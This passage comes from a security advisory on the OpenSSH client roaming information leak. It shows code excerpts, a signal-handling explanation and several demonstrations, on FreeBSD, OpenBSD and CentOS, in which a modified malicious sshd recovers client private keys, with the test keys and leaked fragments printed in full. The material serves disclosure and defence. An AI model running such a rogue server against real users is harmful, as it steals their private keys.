ssh_proxy_fdpass_connect() does:\n\n1782 static void\n1783 main_sigchld_handler(int sig)\n1784 {\n.... \n1789 while ((pid = waitpid(-1, \u0026status, WNOHANG)) \u003e 0 ||\n1790 (pid \u003c 0 \u0026\u0026 errno == EINTR))\n1791 ;\n1792\n1793 signal(sig, main_sigchld_handler);\n.... \n1795 }\n\n 101 static int\n 102 ssh_proxy_fdpass_connect(const char *host, u_short port,\n 103 const char *proxy_command)\n 104 {\n ... \n 121 /* Fork and execute the proxy command. */\n 122 if ((pid = fork()) == 0) {\n ... \n 157 }\n 158 /* Parent. */\n ... \n 167 while (waitpid(pid, NULL, 0) == -1)\n 168 if (errno != EINTR)\n 169 fatal(\"Couldn\u0027t wait for child: %s\", strerror(errno));\n\n$ /usr/bin/ssh -V\nOpenSSH_6.6.1p1, OpenSSL 1.0.1p-freebsd 9 Jul 2015\n\n$ /usr/bin/ssh -o ProxyUseFdpass=yes -o ProxyCommand=\"/usr/bin/nc -F %h %p\" -p 222 127.0.0.1\nuser@127.0.0.1\u0027s password:\n[connection suspended, press return to resume]Couldn\u0027t wait for child: No child processes\n\n- The method ssh_proxy_connect() fork()s a standard ProxyCommand that\n connects the client to the server, but if a disconnection occurs, and\n the SIGCHLD of the terminated ProxyCommand is caught while fgetc() is\n waiting for a \u0027\\n\u0027 or \u0027\\r\u0027 on stdin, EOF is returned (the underlying\n read() returns EINTR) and the client exit()s before it can reconnect\n to the server:\n\n$ /usr/bin/ssh -V\nOpenSSH_6.6.1p1 Ubuntu-2ubuntu2, OpenSSL 1.0.1f 6 Jan 2014\n\n$ /usr/bin/ssh -o ProxyCommand=\"/bin/nc %h %p\" -p 222 127.0.0.1\nuser@127.0.0.1\u0027s password:\n[connection suspended, press return to resume][exiting]\n\n This behavior is intriguing, because (at least on Linux and BSD) the\n signal() call that installed the main_sigchld_handler() is supposed to\n be equivalent to a sigaction() call with SA_RESTART. However, portable\n versions of OpenSSH override signal() with mysignal(), a function that\n calls sigaction() without SA_RESTART. \n\n This last mitigating factor is actually a race-condition bug that\n depends on the ProxyCommand itself: for example, the client never\n fails to reconnect to the server when using Socat as a ProxyCommand,\n but fails occasionally when using Netcat. \n\n------------------------------------------------------------------------\nPrivate Key Disclosure example: FreeBSD 10.0, 2048-bit RSA key\n------------------------------------------------------------------------\n\n$ head -n 1 /etc/motd\nFreeBSD 10.0-RELEASE (GENERIC) #0 r260789: Thu Jan 16 22:34:59 UTC 2014\n\n$ /usr/bin/ssh -V\nOpenSSH_6.4p1, OpenSSL 1.0.1e-freebsd 11 Feb 2013\n\n$ cat ~/.ssh/id_rsa\n-----BEGIN RSA PRIVATE KEY-----\nMIIEpQIBAAKCAQEA3GKWpUCOmK05ybfhnXTTzWAXs5A0FufmqlihRKqKHyflYXhr\nqlcdPH4PvbAhkc8cUlK4c/dZxNiyD04Og1MVwVp2kWp9ZDOnuLhTR2mTxYjEy+1T\nM3/74toaLj28kwbQjTPKhENMlqe+QVH7pH3kdun92SEqzKr7Pjx4/2YzAbAlZpT0\n9Zj/bOgA7KYWfjvJ0E9QQZaY68nEB4+vIK3agB6+JT6lFjVnSFYiNQJTPVedhisd\na3KoK33SmtURvSgSLBqO6e9uPzV87nMfnSUsYXeej6yJTR0br44q+3paJ7ohhFxD\nzzqpKnK99F0uKcgrjc3rF1EnlyexIDohqvrxEQIDAQABAoIBAQDHvAJUGsIh1T0+\neIzdq3gZ9jEE6HiNGfeQA2uFVBqCSiI1yHGrm/A/VvDlNa/2+gHtClNppo+RO+OE\nw3Wbx70708UJ3b1vBvHHFCdF3YWzzVSujZSOZDvhSVHY/tLdXZu9nWa5oFTVZYmk\noayzU/WvYDpUgx7LB1tU+HGg5vrrVw6vLPDX77SIJcKuqb9gjrPCWsURoVzkWoWc\nbvba18loP+bZskRLQ/eHuMpO5ra23QPRmb0p/LARtBW4LMFTkvytsDrmg1OhKg4C\nvcbTu2WOK1BqeLepNzTSg2wHtvX8DRUJvYBXKosGbaoIOFZvohoqSzKFs+R3L3GW\nhZz9MxCRAoGBAPITboUDMRmvUblU58VW85f1cmPvrWtFu7XbRjOi3O/PcyT9HyoW\nbc3HIg1k4XgHk5+F9r5+eU1CiUUd8bOnwMEUTkyr7YH/es+O2P+UoypbpPCfEzEd\nmuzCFN1kwr4RJ5RG7ygxF8/h/toXua1nv/5pruro+G+NI2niDtaPkLdfAoGBAOkP\nwn7j8F51DCxeXbp/nKc4xtuuciQXFZSz8qV/gvAsHzKjtpmB+ghPFbH+T3vvDCGF\niKELCHLdE3vvqbFIkjoBYbYwJ22m4y2V5HVL/mP5lCNWiRhRyXZ7/2dd2Jmk8jrw\nsj/akWIzXWyRlPDWM19gnHRKP4Edou/Kv9Hp2V2PAoGBAInVzqQmARsi3GGumpme\nvOzVcOC+Y/wkpJET3ZEhNrPFZ0a0ab5JLxRwQk9mFYuGpOO8H5av5Nm8/PRB7JHi\n/rnxmfPGIWJX2dG9AInmVFGWBQCNUxwwQzpz9/VnngsjMWoYSayU534SrE36HFtE\nK+nsuxA+vtalgniToudAr6H5AoGADIkZeAPAmQQIrJZCylY00dW+9G/0mbZYJdBr\n+7TZERv+bZXaq3UPQsUmMJWyJsNbzq3FBIx4Xt0/QApLAUsa+l26qLb8V+yDCZ+n\nUxvMSgpRinkMFK/Je0L+IMwua00w7jSmEcMq0LJckwtdjHqo9rdWkvavZb13Vxh7\nqsm+NEcCgYEA3KEbTiOU8Ynhv96JD6jDwnSq5YtuhmQnDuHPxojgxSafJOuISI11\n1+xJgEALo8QBQT441QSLdPL1ZNpxoBVAJ2a23OJ/Sp8dXCKHjBK/kSdW3U8SJPjV\npmvQ0UqnUpUj0h4CVxUco4C906qZSO5Cemu6g6smXch1BCUnY0TcOgs=\n-----END RSA PRIVATE KEY-----\n\n# env ROAMING=\"client_out_buf_size:1280\" \"`pwd`\"/sshd -o ListenAddress=127.0.0.1:222 -o UsePrivilegeSeparation=no -f /etc/ssh/sshd_config -h /etc/ssh/ssh_host_rsa_key\n\n$ /usr/bin/ssh -p 222 127.0.0.1\nuser@127.0.0.1\u0027s password:\n[connection suspended, press return to resume][connection resumed]\n\n# cat /tmp/roaming-97ed9f59/infoleak\nMIIEpQIBAAKCAQEA3GKWpUCOmK05ybfhnXTTzWAXs5A0FufmqlihRKqKHyflYXhr\nqlcdPH4PvbAhkc8cUlK4c/dZxNiyD04Og1MVwVp2kWp9ZDOnuLhTR2mTxYjEy+1T\nM3/74toaLj28kwbQjTPKhENMlqe+QVH7pH3kdun92SEqzKr7Pjx4/2YzAbAlZpT0\n9Zj/bOgA7KYWfjvJ0E9QQZaY68nEB4+vIK3agB6+JT6lFjVnSFYiNQJTPVedhisd\na3KoK33SmtURvSgSLBqO6e9uPzV87nMfnSUsYXeej6yJTR0br44q+3paJ7ohhFxD\nzzqpKnK99F0uKcgrjc3rF1EnlyexIDohqvrxEQIDAQABAoIBAQDHvAJUGsIh1T0+\neIzdq3gZ9jEE6HiNGfeQA2uFVBqCSiI1yHGrm/A/VvDlNa/2+gHtClNppo+RO+OE\nw3Wbx70708UJ3b1vBvHHFCdF3YWzzVSujZSOZDvhSVHY/tLdXZu9nWa5oFTVZYmk\noayzU/WvYDpUgx7LB1tU+HGg5vrrVw6vLPDX77SIJcKuqb9gjrPCWsURoVzkWoWc\nbvba18loP+bZskRLQ/eHuMpO5ra23QPRmb0p/LARtBW4LMFTkvytsDrmg1OhKg4C\nvcbTu2WOK1BqeLepNzTSg2wHtvX8DRUJvYBXKosGbaoIOFZvohoqSzKFs+R3L3GW\nhZz9MxCRAoGBAPITboUDMRmvUblU58VW85f1cmPvrWtFu7XbRjOi3O/PcyT9HyoW\nbc3HIg1k4XgHk5+F9r5+eU1CiUUd8bOnwMEUTkyr7YH/es+O2P+UoypbpPCfEzEd\nmuzCFN1kwr4RJ5RG7ygxF8/h/toXua1nv/5pruro+G+NI2niDtaPkLdfAoGBAOkP\nwn7j8F51DCxeXbp/nKc4xtuuciQXFZSz8qV/gvAsHzKjtpmB+ghPFbH+T3vvDCGF\niKELCHLdE3vvqbFIkjoBYbYwJ22m4y2V5HVL/mP5lCNWiRhRyXZ7/2dd2Jmk8jrw\nsj/akWIzXWyRlPDWM19gnHRKP4Edou/Kv9Hp2V2PAoGBAInVzqQmARsi3GGumpme\n\n------------------------------------------------------------------------\nPrivate Key Disclosure example: FreeBSD 9.2, 1024-bit DSA key\n------------------------------------------------------------------------\n\n$ head -n 1 /etc/motd\nFreeBSD 9.2-RELEASE (GENERIC) #0 r255898: Fri Sep 27 03:52:52 UTC 2013\n\n$ /usr/bin/ssh -V\nOpenSSH_6.2p2, OpenSSL 0.9.8y 5 Feb 2013\n\n$ cat ~/.ssh/id_dsa\n-----BEGIN DSA PRIVATE KEY-----\nMIIBugIBAAKBgQCEfEo25eMTu/xrpVQxBGEjW/WEfeH4jfqaCDluPBlcl5dFd8KP\ngrGm6fh8c+xdNYRg+ogHwM3uDG5aY62X804UGysCUoY5isSDkkwGrbbemHxR/Cxe\n4bxlIbQrw8KY39xLOY0hC5mpPnB01Cr+otxanYUTpsb8gpEngVvK619O0wIVAJwY\n8RLHmLnPaMFSOvYvGW6eZNgtAoGACkP73ltWMdHM1d0W8Tv403yRPaoCRIiTVQOw\noM8/PQ1JVFmBJxrJXtFJo88TevlDHLEghapj4Wvpx8NJY917bC425T2zDlJ4L9rP\nIeOjqy+HwGtDXjTHspmGy59CNe8E6vowZ3XM4HYH0n4GcwHvmzbhjJxYGmGJrng4\ncRh4VTwCgYAPxVV+3eA46WWZzlnttzxnrr/w/9yUC/DfrKKQ2OGSQ9zyVn7QEEI+\niUB2lkeMqjNwPkxddONOBZB7kFmjOS69Qp0mfmsRf15xneqU8IoMSwqa5LOXM0To\nzEpLjvCtyTJcJgz2oHglVUJqGAx8CQJq2wS+eiSQqJbQpmexNa5GfwIUKbRxQKlh\nPHatTfiy5p82Q8+TD60=\n-----END DSA PRIVATE KEY-----\n\n# env ROAMING=\"client_out_buf_size:768\" \"`pwd`\"/sshd -o ListenAddress=127.0.0.1:222 -o UsePrivilegeSeparation=no -f /etc/ssh/sshd_config -h /etc/ssh/ssh_host_rsa_key\n\n$ /usr/bin/ssh -p 222 127.0.0.1\n[connection suspended, press return to resume][connection resumed]\n\n# cat /tmp/roaming-9448bb7f/infoleak\nMIIBugIBAAKBgQCEfEo25eMTu/xrpVQxBGEjW/WEfeH4jfqaCDluPBlcl5dFd8KP\ngrGm6fh8c+xdNYRg+ogHwM3uDG5aY62X804UGysCUoY5isSDkkwGrbbemHxR/Cxe\n4bxlIbQrw8KY39xLOY0hC5mpPnB01Cr+otxanYUTpsb8gpEngVvK619O0wIVAJwY\n8RLHmLnPaMFSOvYvGW6eZNgtAoGACkP73ltWMdHM1d0W8Tv403yRPaoCRIiTVQOw\noM8/PQ1JVFmBJxrJXtFJo88TevlDHLEghapj4Wvpx8NJY917bC425T2zDlJ4L9rP\nIeOjqy+HwGtDXjTHspmGy59CNe8E6vowZ3XM4HYH0n4GcwHvmzbhjJxYGmGJrng4\ncRh4VTwCgYAPxVV+3eA46WWZzlnttzxnrr/w/9yUC/DfrKKQ2OGSQ9zyVn7QEEI+\niUB2lkeMqjNwPkxddONOBZB7kFmjOS69Qp0mfmsRf15xneqU8IoMSwqa5LOXM0To\n... \n\n# env ROAMING=\"client_out_buf_size:1024\" \"`pwd`\"/sshd -o ListenAddress=127.0.0.1:222 -o UsePrivilegeSeparation=no -f /etc/ssh/sshd_config -h /etc/ssh/ssh_host_rsa_key\n\n$ /usr/bin/ssh -p 222 127.0.0.1\n[connection suspended, press return to resume][connection resumed]\n\n# cat /tmp/roaming-279f5e2b/infoleak\n... \niUB2lkeMqjNwPkxddONOBZB7kFmjOS69Qp0mfmsRf15xneqU8IoMSwqa5LOXM0To\nzEpLjvCtyTJcJgz2oHglVUJqGAx8CQJq2wS+eiSQqJbQpmexNa5GfwIUKbRxQKlh\nPHatTfiy5p82Q8+TD60=\n... \n\n------------------------------------------------------------------------\nPrivate Key Disclosure example: OpenBSD 5.4, 2048-bit RSA key\n------------------------------------------------------------------------\n\n$ head -n 1 /etc/motd\nOpenBSD 5.4 (GENERIC) #37: Tue Jul 30 15:24:05 MDT 2013\n\n$ /usr/bin/ssh -V\nOpenSSH_6.3, OpenSSL 1.0.1c 10 May 2012\n\n$ cat ~/.ssh/id_rsa\n-----BEGIN RSA PRIVATE KEY-----\nMIIEogIBAAKCAQEAzjortydu20T6wC6BhFzKNtVJ9uYSMOjWlghws4OkcXQtu+Cc\nVEhdal/HFyKyiNMAUDMi0gjOHsia8X4GS7xRNwSjUHOXnrvPne/bGF0d4DAxfAFL\n9bOwoNnBIEFci37YMOcGArvrEJ7hbjJhGTudekRU78IMOichpdYtkpkGUyGmf175\nynUpCcJdzngL8yF9Iezc8bfXAyIJjzjXmSVu9DypkeUBW28qIuMr5ksbekHcXhQn\nw8Y2oEDeyPSGIdWZQcVpdfaAk+QjCEs84c0/AvZoG2iY85OptjNDfynFJSDR5muU\nMANXJm5JFfC89fy0nGkQJa1FfNpPjUQY8hWz7QIDAQABAoIBAQC36R6FJrBw8PIh\noxezv8BB6DIe8gx0+6AqinpfTN3Ao9gJPYSMkUBlleaJllLbPDiCTSgXYOzYfRPY\nmwfoUJeo1gUCwSMM1vaPJZEhCCGVhcULjmh8RHQW7jqRllh+um74JX6xv34hA1+M\nk3cONqD4oamRa17WGYGjT/6yRq9iP/0AbBT+haRKYC4nKWrdkqEJXk10pM2kmH6G\n+umbybQrGrPf854VqOdftoku0WjBKrD0hsFZbB24rYmFj+cmbx+cDEqt03xjw+95\nn5xM/97jqB6rzkPAdRUuzNec+QNGMvA+4YpItF1vdEfd0N3Jl/VIQ+8ZAhANnvCt\n8uRHC7OhAoGBAO9PqmApW1CY+BeYDyqGduLwh1HVVZnEURQJprenOtoNxfk7hkNw\nrsKKdc6alWgTArLTEHdULU8GcZ6C0PEcszk2us3AwfPKko8gp2PD5t/8IW0cWxT5\ncMxcelFydu8MuikFthqNEX4tPNrZy4FZlOBGXCYlhvDqHk+U7kVIhkLFAoGBANyb\n3pLYm7gEs9zoL5HxEGvk9x2Ds9PlULcmc//p+4HCegE0tehMaGtygQKRQFuDKOJV\nWGKRjgls7vVXeVI2RABtYsT6OSBU9kNQ01EHzjOqN53O43e6GB4EA+W/GLEsffOZ\npCw09bOVvgClicyekO3kv0lsVvIfAWgxVQY0oZ8JAoGBAIyisquEYmeBHfsvn2oM\nT32agMu0pXOSDVvLODChlFJk2b1YH9UuOWWWXRknezoIQgO5Sen2jBHu5YKTuhqY\nFTNAWJNl/hU5LNv0Aqr8i4eB8lre2SAAXyuaBUAsFnzxa82Dz7rWwDr4dtTePVws\nuvL6Jlk8oIqf62Q1T7ljn5NJAoGAQ8ZHHMobHO+k6ksSwj1TFDKlkJWzm3ep0nqn\nzIlv0S+UF+a/s/w1YD0vUUCaiwLCfrZFjxK0lkS3LPyQsyckwRTZ8TYGct5nQcsF\nALHrMYgryfmTfGbZne8R23VX+qZ2k24yN7qVeXSZiM1ShmB4mf1anw3/sCbCYeY1\n/tAQjzECf1NKzRdfWRhiBqlEquNshrUNWQxYVnXl+WPgilKAIc1XJ9M0dOCvhwjk\nkRTxN77l+klobzq+q+BtPiy9mFmwtwPbAP8l5bVzkZSY2FBDOQiUWS9ZJrCUupeS\nY1tzYFyta0xSod/NGoUd673IgfLnfiGMOLhy+9qhhwCqF10RiS0=\n-----END RSA PRIVATE KEY-----\n\n# env ROAMING=\"client_out_buf_size:2048\" \"`pwd`\"/sshd -o ListenAddress=127.0.0.1:222 -o UsePrivilegeSeparation=no -f /etc/ssh/sshd_config -h /etc/ssh/ssh_host_rsa_key\n\n$ /usr/bin/ssh -p 222 127.0.0.1\nuser@127.0.0.1\u0027s password:\n[connection suspended, press return to resume][connection resumed]\n\n# cat /tmp/roaming-35ee7ab0/infoleak\nMIIEogIBAAKCAQEAzjortydu20T6wC6BhFzKNtVJ9uYSMOjWlghws4OkcXQtu+Cc\nVEhdal/HFyKyiNMAUDMi0gjOHsia8X4GS7xRNwSjUHOXnrvPne/bGF0d4DAxfAFL\n9bOwoNnBIEFci37YMOcGArvrEJ7hbjJhGTudekRU78IMOichpdYtkpkGUyGmf175\nynUpCcJdzngL8yF9Iezc8bfXAyIJjzjXmSVu9DypkeUBW28qIuMr5ksbekHcXhQn\nw8Y2oEDeyPSGIdWZQcVpdfaAk+QjCEs84c0/AvZoG2iY85OptjNDfynFJSDR5muU\nMANXJm5JFfC89fy0nGkQJa1FfNpPjUQY8hWz7QIDAQABAoIBAQC36R6FJrBw8PIh\noxezv8BB6DIe8gx0+6AqinpfTN3Ao9gJPYSMkUBlleaJllLbPDiCTSgXYOzYfRPY\nmwfoUJeo1gUCwSMM1vaPJZEhCCGVhcULjmh8RHQW7jqRllh+um74JX6xv34hA1+M\nk3cONqD4oamRa17WGYGjT/6yRq9iP/0AbBT+haRKYC4nKWrdkqEJXk10pM2kmH6G\n+umbybQrGrPf854VqOdftoku0WjBKrD0hsFZbB24rYmFj+cmbx+cDEqt03xjw+95\nn5xM/97jqB6rzkPAdRUuzNec+QNGMvA+4YpItF1vdEfd0N3Jl/VIQ+8ZAhANnvCt\n8uRHC7OhAoGBAO9PqmApW1CY+BeYDyqGduLwh1HVVZnEURQJprenOtoNxfk7hkNw\nrsKKdc6alWgTArLTEHdULU8GcZ6C0PEcszk2us3AwfPKko8gp2PD5t/8IW0cWxT5\ncMxcelFydu8MuikFthqNEX4tPNrZy4FZlOBGXCYlhvDqHk+U7kVIhkLFAoGBANyb\n3pLYm7gEs9zoL5HxEGvk9x2Ds9PlULcmc//p+4HCegE0tehMaGtygQKRQFuDKOJV\nWGKRjgls7vVXeVI2RABtYsT6OSBU9kNQ01EHzjOqN53O43e6GB4EA+W/GLEsffOZ\npCw09bOVvgClicyekO3kv0lsVvIfAWgxVQY0oZ8JAoGBAIyisquEYmeBHfsvn2oM\nT32agMu0pXOSDVvLODChlFJk2b1YH9UuOWWWXRknezoIQgO5Sen2jBHu5YKTuhqY\nFTNAWJNl/hU5LNv0Aqr8i4eB8lre2SAAXyuaBUAsFnzxa82Dz7rWwDr4dtTePVws\nuvL6Jlk8oIqf62Q1T7ljn5NJAoGAQ8ZHHMobHO+k6ksSwj1TFDKlkJWzm3ep0nqn\nzIlv0S+UF+a/s/w1YD0vUUCaiwLCfrZFjxK0lkS3LPyQsyckwRTZ8TYGct5nQcsF\nALHrMYgryfmTfGbZne8R23VX+qZ2k24yN7qVeXSZiM1ShmB4mf1anw3/sCbCYeY1\n/tAQjzECf1NKzRdfWRhiBqlEquNshrUNWQxYVnXl+WPgilKAIc1XJ9M0dOCvhwjk\nkRTxN77l+klobzq+q+BtPiy9mFmwtwPbAP8l5bVzkZSY2FBDOQiUWS9ZJrCUupeS\n\n$ /usr/bin/ssh -p 222 127.0.0.1\nuser@127.0.0.1\u0027s password:\n[connection suspended, press return to resume][connection resumed]\n\n# cat /tmp/roaming-6cb31d82/infoleak\n... \nuvL6Jlk8oIqf62Q1T7ljn5NJAoGAQ8ZHHMobHO+k6ksSwj1TFDKlkJWzm3ep0nqn\nzIlv0S+UF+a/s/w1YD0vUUCaiwLCfrZFjxK0lkS3LPyQsyckwRTZ8TYGct5nQcsF\nALHrMYgryfmTfGbZne8R23VX+qZ2k24yN7qVeXSZiM1ShmB4mf1anw3/sCbCYeY1\n/tAQjzECf1NKzRdfWRhiBqlEquNshrUNWQxYVnXl+WPgilKAIc1XJ9M0dOCvhwjk\nkRTxN77l+klobzq+q+BtPiy9mFmwtwPbAP8l5bVzkZSY2FBDOQiUWS9ZJrCUupeS\nY1tzYFyta0xSod/NGoUd673IgfLnfiGMOLhy+9qhhwCqF10RiS0=\n\n------------------------------------------------------------------------\nPrivate Key Disclosure example: OpenBSD 5.8, 2048-bit RSA key\n------------------------------------------------------------------------\n\n$ head -n 1 /etc/motd\nOpenBSD 5.8 (GENERIC) #1066: Sun Aug 16 02:33:00 MDT 2015\n\n$ /usr/bin/ssh -V\nOpenSSH_7.0, LibreSSL 2.2.2\n\n$ cat ~/.ssh/id_rsa\n-----BEGIN RSA PRIVATE KEY-----\nMIIEpAIBAAKCAQEAwe9ssfYbABhOGxnBDsPf5Hwypr3tVz4ZCK2Q9ZWWBYnk+KVL\nruLv7NWzeuKF7ls8z4SdpP/09QIIWQO5xWmQ7OM7ndfHWexFoyS/MijorHLvwG1s\n17KFF8aC5vcBTfVkWnFaERueyd+mxv+oIrskA3/DK7/Juojkq70aPAdafiWOuVT8\nL/2exFuzpSmwiXbPuiPgImO9O+9VQ4flZ4qlO18kZxXF948GisxxkceOYWTIX6uh\nxSs/NEGF/drmB4RTAL1ZivG+e4IMxs5naLz4u3Vb8WTDeS6D62WM1eq5JRdlZtGP\nvavL01Kv3sYFvoD0OPUU4BjU8bd4Qb30C3719wIDAQABAoIBAG4zFpipN/590SQl\nJka1luvGhyGoms0QRDliJxTlwzGygaGoi7D800jIxgv13BTtU0i4Grw/lXoDharP\nKyi6K9fv51hx3J2EXK2vm9Vs2YnkZcf6ZfbLQkWYT5nekacy4ati7cL65uffZm19\nqJTTsksqtkSN3ptYXlgYRGgH5av3vaTSTGStL8D0e9fcrjSdN0UntjBB7QGT8ZnY\ngQ1bsSlcPM/TB6JYmHWdpCAVeeCJdDhYoHKlwgQuTdpubdlM80f6qat7bsm95ZTK\nQolQFpmAXeU4Bs5kFlm0K0qYFkWNdI16ScOpK6AQZGUTcHICeRL3GEm6NC0HYBNt\ngKHPucECgYEA7ssL293PZR3W9abbivDxvtCjA+41L8Rl8k+J0Dj0QTQfeHxHD2eL\ncQO2lx4N3E9bJMUnnmjxIT84Dg7SqOWThh3Rof+c/vglyy5o/CzbScISQTvjKfuB\n+s5aNojIqkyKaesQyxmdacLxtBBppZvzCDTHBXvAe4t8Bus2DPBzbzsCgYEAz+jl\nhcsMQ1egiVVpxHdjtm3+D1lbgITk0hzIt9DYEIMBJ7y5Gp2mrcroJAzt7VA2s7Ri\nhBSGv1pjz4j82l00odjCyiUrwvE1Gs48rChzT1PcQvtPCCanDvxOHwpKlUTdUKZh\nvhxPK/DW3IgUL0MlaTOjncR1Zppz4xpF/cSlYHUCgYB0MhVZLXvHxlddPY5C86+O\nnFNWjEkRL040NIPo8G3adJSDumWRl18A5T+qFRPFik/depomuQXsmaibHpdfXCcG\n8eeaHpm0b+dkEPdBDkq+f1MGry+AtEOxWUwIkVKjm48Wry2CxroURqn6Zqohzdra\nuWPGxUsKUvtNGpM4hKCHFQKBgQCM8ylXkRZZOTjeogc4aHAzJ1KL+VptQKsYPudc\nprs0RnwsAmfDQYnUXLEQb6uFrVHIdswrGvdXFuJ/ujEhoPqjlp5ICPcoC/qil5rO\nZAX4i7PRvSoRLpMnN6mGpaV2mN8pZALzraGG+pnPnHmCqRTdw2Jy/NNSofdayV8V\n8ZDkWQKBgQC2pNzgDrXLe+DIUvdKg88483kIR/hP2yJG1V7s+NaDEigIk8BO6qvp\nppa4JYanVDl2TpV258nE0opFQ66Q9sN61SfWfNqyUelZTOTzJIsGNgxDFGvyUTrz\nuiC4d/e3Jlxj21nUciQIe4imMb6nGFbUIsylUrDn8GfA65aePLuaSg==\n-----END RSA PRIVATE KEY-----\n\n# \"`pwd`\"/sshd -o ListenAddress=127.0.0.1:222 -o UsePrivilegeSeparation=no -f /etc/ssh/sshd_config -h /etc/ssh/ssh_host_rsa_key\n\n$ /usr/bin/ssh -o ProxyCommand=\"/usr/bin/nc -w 1 %h %p\" -p 222 127.0.0.1\n[connection suspended, press return to resume]Segmentation fault (core dumped)\n\n(this example requires a ProxyCommand because of the NULL-aitop bug\ndescribed in the Mitigating Factors of the Information Leak section, and\ncrashes because of the NULL-pointer dereference discussed in the\nMitigating Factors of the Buffer Overflow section)\n\n# cat /tmp/roaming-a5eca355/infoleak\nry+AtEOxWUwIkVKjm48Wry2CxroURqn6Zqohzdra\nuWPGxUsKUvtNGpM4hKCHFQKBgQCM8ylXkRZZOTjeogc4aHAzJ1KL+VptQKsYPudc\nprs0RnwsAmfDQYnUXLEQb6uFrVHIdswrGvdXFuJ/ujEhoPqjlp5ICPcoC/qil5rO\nZAX4i7PRvSoRLpMnN6mGpaV2mN8pZALzraGG+pnPnHmCqRTdw2Jy/NNSofdayV8V\n8ZDkWQKBgQC2pNzgDrXLe+DIUvdKg88483kIR/hP2yJG1V7s+NaDEigIk8BO6qvp\nppa4JYanVDl2TpV258nE0opFQ66Q9sN61SfWfNqyUelZTOTzJIsGNgxDFGvyUTrz\nuiC4d/e3Jlxj21nUciQIe4imMb6nGFbUIsylUrDn8GfA65aePLuaSg==\n\n------------------------------------------------------------------------\nPrivate Key Disclosure example: CentOS 7, 1024-bit DSA key\n------------------------------------------------------------------------\n\n$ grep PRETTY_NAME= /etc/os-release\nPRETTY_NAME=\"CentOS Linux 7 (Core)\"\n\n$ /usr/bin/ssh -V\nOpenSSH_6.4p1, OpenSSL 1.0.1e-fips 11 Feb 2013\n\n$ cat ~/.ssh/id_dsa\n-----BEGIN DSA PRIVATE KEY-----\nMIIBvQIBAAKBgQDmjJYHvennuPmKGxfMuNc4nW2Z1via6FkkZILWOO1QJLB5OXqe\nkt7t/AAr+1n0lJbC1Q8hP01LFnxKoqqWfHQIuQL+S88yr5T8KY/VxV9uCVKpQk5n\nGLnZn1lmDldNaqhV0ECESXZVEpq/8TR2m2XjSmE+7Y14hI0cjBdnOz2X8wIVAP0a\nNmtvmc4H+iFvKorV4B+tqRmvAoGBAKjE7ps031YRb6S3htr/ncPlXKtNTSTwaakC\no7l7mJT+lI9vTrQsu3QCLAUZnmVHAIj/m9juk8kXkZvEBXJuPVdL0tCRNAsCioD2\nhUaU7sV6Nho9fJIclxuxZP8j+uzidQKKN/+CVbQougsLsBlstpuQ4Hr2DHmalL8X\niISkLhuyAoGBAKKRxVAVr2Q72Xz6vRmbULRvsfG1sSxNHOssA9CWKByOjDr2mo1l\nB7oIhTZ+eGvtHjiOozM0PzlcRSu5ZY3ZN2hfXITp9/4oatxFUV5V8aniqyq4Kwj/\nQlCmHO7eRlPArhylx8uRnoHkbTRe+by5fmPImz/3WUtgPnx8y3NOEsCtAhUApdtS\nF9AoVoZFKEGn4FEoYIqY3a4=\n-----END DSA PRIVATE KEY-----\n\n# env ROAMING=\"heap_massaging:linux\" \"`pwd`\"/sshd -o ListenAddress=127.0.0.1:222 -o UsePrivilegeSeparation=no -f /etc/ssh/sshd_config -h /etc/ssh/ssh_host_rsa_key\n\n$ /usr/bin/ssh -p 222 127.0.0.1\n... \n\n# strings /tmp/roaming-b7b16dfc/infoleak\njJYHvennuPmKGxfMuNc4nW2Z1via6FkkZILWOO1QJLB5OXqe\nkt7t/AAr+1n0lJbC1Q8hP01LFnxKoqqWfHQIuQL+S88yr5T8KY/VxV9uCVKpQk5\n\n# strings /tmp/roaming-b324ce87/infoleak\nIuQL\nR2m2XjSmE+7Y14hI0cjBdnOz2X8wIVAP0a\nNmtvmc4H+iFvKorV4B+tqRmvAoGBAKjE7ps031YRb6S3htr/ncPlXKtNTSTwaakC\no7l7mJT+lI9v\n\n# strings /tmp/roaming-24011739/infoleak\nKjE7ps031YRb6S3htr/ncPlXKtNTSTwaakC\no7l7mJT+lI9vTrQsu3QCLAUZnmVHAIj/m9juk8kXkZvEBXJuPVdL0tCRNAsC\n\n# strings /tmp/roaming-37456846/infoleak\nLsBlstpuQ4Hr2DHmalL8X\niISkLhuyAoGBAKKRxVAVr2Q72Xz6vRmbULRvsfG1sSxNHOssA9CWKByOjDr2mo1l\nB7oIhTZ+eGvtHjiOozM0PzlcRSu5ZY3ZNA\nyq4Kwj/\n\n# strings /tmp/roaming-988ff54c/infoleak\nGBAKKRxVAVr2Q72Xz6vRmbULRvsfG1sSxNHOssA9CWKByOjDr2mo1l\nB7oIhTZ+eGvtHjiOozM0PzlcRSu5ZY3ZN2hfXITp9/4oatxFUV5V8aniqyq4Kwj/\n\n# strings /tmp/roaming-53887fa5/infoleak\n/4oatxFUV5V8aniqyq4Kwj/\nQlCmHO7eRlPArhylx8uRnoHkbTRe+by5fmPImz/3WUtgPnx8y3NOEsCtAhUApdtS\nF9AoVoZFKEGn4FEoYIqY3a4\n\n------------------------------------------------------------------------\nPrivate Key Disclosure example: Fedora 20, 2048-bit RSA key\n------------------------------------------------------------------------\n\n$ grep PRETTY_NAME= /etc/os-release\nPRETTY_NAME=\"Fedora 20 (Heisenbug)\"\n\n$ /usr/bin/ssh -V\nOpenSSH_6.4p1, OpenSSL 1.0.1e-fips 11 Feb 2013\n\n$ cat ~/.ssh/id_rsa\n-----BEGIN RSA PRIVATE 